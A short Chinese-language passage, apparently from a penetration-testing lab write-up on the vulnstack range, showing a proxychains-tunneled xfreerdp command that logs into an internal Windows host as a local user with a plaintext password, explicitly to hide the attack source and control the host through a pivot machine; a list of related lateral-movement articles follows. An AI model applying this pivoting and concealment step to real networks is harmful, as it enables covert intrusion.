我们修改命令如下所示,通过proxychains代理隧道,使用xfreerdp客户端远程连接192.168.52.141的Windows主机。通过指定ROOT-TVI862UBEH\ljn的用户格式,明确使用该计算机上的本地用户ljn而非域账户进行认证,有效解决登录时可能出现的域身份识别错误问题。整个过程将RDP图形访问流量经由SOCKS代理转发,实现攻击源IP的隐蔽和基于内网跳板机的隐蔽远程控制。

proxychains xfreerdp /v:192.168.52.141 /u:ROOT-TVI862UBEH\\ljn /p:P@ssw0rd123

相关推荐
mooyuan天天2 天前
万字讲解内网横向渗透:vulnstack二(红日靶场2)实战全流程
内网渗透·横向移动·红日靶场2
mooyuan天天2 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程3(权限维持之黄金票据)
内网渗透·横向移动·黄金票据·kerberos认证·红日靶场2
mooyuan天天3 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程2(SMB中转法)
内网渗透·横向移动·红日靶场2
mooyuan天天3 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程1(TCP中转会话法 CVE-2020-2551)
内网渗透·横向移动·红日靶场2·weblogic漏洞·cve-2020-2551
mooyuan天天4 天前
万字讲解内网横向渗透vulnstack(五):红日靶场5实战全流程(CVE-2014-4113)
内网渗透·横向移动·红日靶场5
mooyuan天天9 天前
万字详解:MSF的autoroute路由模块实现永恒之蓝内网横向渗透(CVE-2017-0144)
内网渗透·横向移动·cve-2017-0144·autoroute·永恒之蓝漏洞
mooyuan天天9 天前
Cobalt Strike渗透生成 linux http Beacon不生效bug分析与解决方法
linux·内网渗透·横向移动·cobalt strike
mooyuan天天10 天前
Cobalt Strike横向渗透之Https Beacon实战1(跳板机Linux)
内网渗透·横向移动·cobalt strike
mooyuan天天10 天前
CobaltStrike横向渗透之Https Beacon实战2(跳板机Linux)
linux·内网渗透·横向移动·cobalt strike